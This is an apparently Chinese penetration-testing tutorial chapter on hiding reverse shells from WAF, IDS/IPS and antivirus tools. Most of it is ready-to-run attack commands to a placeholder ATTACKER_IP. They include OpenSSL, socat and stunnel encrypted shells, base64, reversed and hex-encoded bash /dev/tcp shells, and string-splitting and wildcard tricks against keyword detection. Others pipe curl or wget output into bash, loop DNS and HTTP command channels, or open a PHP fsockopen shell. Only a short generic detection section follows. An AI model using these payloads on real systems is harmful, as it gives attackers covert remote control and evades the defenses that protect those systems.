反弹Shell加密与混淆
在实际渗透测试中,普通的明文反弹Shell很容易被WAF、IDS/IPS、杀毒软件等安全设备检测和拦截。本章介绍如何通过加密和混淆技术来规避检测,确保反弹Shell通道的安全性和隐蔽性。
OpenSSL加密Shell
原理说明
OpenSSL可以创建加密的TLS/SSL通道,使得反弹Shell的流量在传输过程中被加密,防止被中间人窃听和检测。
生成证书
# 生成自签名证书
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt -subj "/CN=localhost"
# 合并为PEM文件
cat shell.key shell.crt > shell.pem加密反弹Shell(一)
# 攻击者监听(使用openssl)
openssl s_server -quiet -key shell.key -cert shell.crt -port 4444
# 或更完整的监听方式
ncat --ssl -lvp 4444加密反弹Shell(二)
# 目标执行(使用openssl)
RHOST=ATTACKER_IP
RPORT=4444
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s加密反弹Shell(三)
# 更可靠的版本
mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | openssl s_client -connect ATTACKER_IP:4444 -quiet > /tmp/fSocat SSL加密
生成Socat证书
# 生成CA证书
openssl req -newkey rsa:2048 -nodes -keyout ca.key -x509 -days 365 -out ca.crt -subj "/CN=CA"
# 生成服务器证书
openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=server"
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 365
cat server.key server.crt > server.pemSocat SSL监听
# 攻击者监听
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0 STDOUTSocat SSL反弹
# 目标执行
socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,saneSocat SSL详细配置
# 攻击者 - 完整监听脚本
#!/bin/bash
# ssl_listener.sh
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0,reuseaddr,fork SYSTEM:"echo 'Connection from:'; id"Stunnel隧道加密
安装Stunnel
# Debian/Ubuntu
sudo apt install stunnel4
# CentOS/RHEL
sudo yum install stunnel
# macOS
brew install stunnelStunnel服务端配置
# /etc/stunnel/stunnel.conf
[reverse]
accept = 4444
connect = 127.0.0.1:4445
cert = /etc/stunnel/cert.pemStunnel客户端配置
# client.conf
[reverse]
accept = 127.0.0.1:4445
connect = ATTACKER_IP:4444
client = yes使用Stunnel建立加密通道
# 攻击者
stunnel stunnel.conf
nc -lvnp 4445
# 目标
mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 127.0.0.1 4444 > /tmp/fBase64编码绕过
编码命令绕过关键字检测
# 编码反弹shell命令
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64
# 目标执行解码
echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE= | base64 -d | bash多层编码
# 二重编码
CMD=$(echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64)
echo "$CMD" | base64
# 目标执行
echo WmJGemF... | base64 -d | base64 -d | bashBase64 + 反转
# 反转字符串再编码
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | rev | base64
# 目标执行
echo YTI... | base64 -d | rev | bash关键字混淆技术
拆分字符串
# 方法1:变量拼接
a="ba"
b="sh"
c=" -i"
${a}${b}${c}
# 方法2:使用特殊变量
${0:0:1} # 获取'/'($0的第一个字符)避免常见检测关键字
# 避免"bash"关键字
/bin/b?sh -i
/bin/ba''sh -i
/bin/bash -c "bash -i >& /dev/tcp/IP/4444 0>&1"
# 避免"/dev/tcp"
exec 5<>/dev/tcp/IP/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
# 使用环境变量
X=/dev/tc
Y=p
Z=/IP/4444
${X}${Y}${Z}使用通配符
# 通配符构造路径
/bin/b?? # /bin/bash
/dev/t?c # /dev/tcpWAF绕过技巧
1. 大小写混淆
# 混合大小写
BaSh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python中
ImPoRt SoCkEt2. 插入注释或特殊字符
# 在命令中插入注释
bas'h' -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
b"a"sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&13. 使用编码
# 使用printf解码
printf "\x62\x61\x73\x68\x20\x2d\x69" | bash
# 使用$'\x'格式
$'\x62\x61\x73\x68' -i4. 利用内置命令
# 使用bash内置命令
exec /bin/ba'sh' -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# 使用eval
eval "$(echo 'YmFzaCAtaSA+...' | base64 -d)"5. 分段传输
# 将命令分成多段传输
echo "bash " > /tmp/cmd
echo "-i " >> /tmp/cmd
echo ">& /dev/tcp/" >> /tmp/cmd
echo "ATTACKER_IP/4444 " >> /tmp/cmd
echo "0>&1" >> /tmp/cmd
bash /tmp/cmd6. 使用环境变量混淆
# 设置环境变量
export RHOST="ATTACKER_IP"
export RPORT="4444"
# 使用环境变量构造命令
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&17. 利用命令替换
# 使用命令替换
$(printf 'bash -i >& /dev/tcp/%s/%d 0>&1' ATTACKER_IP 4444)
# 使用反引号
`printf 'bash -i >& /dev/tcp/%s/%d 0>&1' ATTACKER_IP 4444`高级混淆技巧
1. 使用CURL反弹
# 通过HTTP协议反弹
curl -s http://ATTACKER_IP/shell.sh | bash
# 或使用wget
wget -qO- http://ATTACKER_IP/shell.sh | bash2. 使用DNS隧道
# 通过DNS查询传递数据
# 攻击者需要搭建DNS服务器
dig TXT @ATTACKER_IP cmd.shell
# 目标执行
DOMAIN="shell.attacker.com"
while true; do
CMD=$(dig +short TXT $DOMAIN)
RESULT=$(eval $CMD 2>&1)
dig $RESULT.$DOMAIN @ATTACKER_IP > /dev/null 2>&1
sleep 5
done3. 使用ICMP隧道
# 通过ICMP包传递数据(需要特殊工具如icmpsh)
# 攻击者
icmpsh -t TARGET_IP
# 目标
icmpsh4. 使用HTTP隧道
# 使用HTTP协议封装Shell流量
# 攻击者 - 简单HTTP服务器
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import os, subprocess
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/cmd':
cmd = self.headers.get('X-Cmd')
if cmd:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
self.send_response(200)
self.end_headers()
self.wfile.write(result.stdout.encode())
self.wfile.write(result.stderr.encode())
else:
self.send_response(404)
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"
# 目标
while true; do
CMD=$(curl -s -H "X-Cmd: id" http://ATTACKER_IP:8080/cmd)
echo $CMD
sleep 10
done检测与防御
如何检测加密反弹Shell
- 流量分析:监控异常的SSL/TLS连接(自签名证书、异常端口)
- 行为分析:检测异常的出站连接模式
- 进程监控:关注异常的bash/python/perl进程
- 日志分析:分析系统日志中的异常活动
防御建议
- 网络分段:限制内网主机的出站连接
- DLP部署:部署数据防泄漏系统
- EDR部署:部署端点检测与响应系统
- 定期审计:定期审计系统进程和网络连接
工具推荐
| 工具 | 用途 | 安装方式 |
|---|---|---|
| socat | 多功能网络工具 | apt install socat |
| stunnel | SSL隧道 | apt install stunnel4 |
| ncat | 增强版netcat | apt install ncat |
| openssl | 加密工具 | 系统自带 |
| chisel | HTTP隧道 | GitHub下载 |
实战案例
案例1:绕过基础WAF
目标:Web服务器运行Apache,有基础WAF防护
# 使用SSL加密绕过
# 攻击者
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 STDOUT
# 目标 - 利用PHP执行
php -r '$sock=fsockopen("ATTACKER_IP",443);exec("/bin/bash -i <&3 >&3 2>&3");'案例2:内网穿透
目标:内网服务器,无法直接访问外网
# 使用DNS隧道作为跳板
# 在跳板机上
dnscat2-server attacker.com
# 在目标上
dnscat2 attacker.com案例3:绕过流量检测
目标:有IDS/IPS监控所有出站流量
# 使用HTTPS流量伪装
# 攻击者 - 启动HTTPS服务器
python3 -c "
import http.server, ssl
server = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)
server.socket = ssl.wrap_socket(server.socket, certfile='cert.pem', server_side=True)
server.serve_forever()
"
# 目标 - 通过HTTPS反弹
curl -k https://ATTACKER_IP/shell.sh | bash最后更新:2026-08-22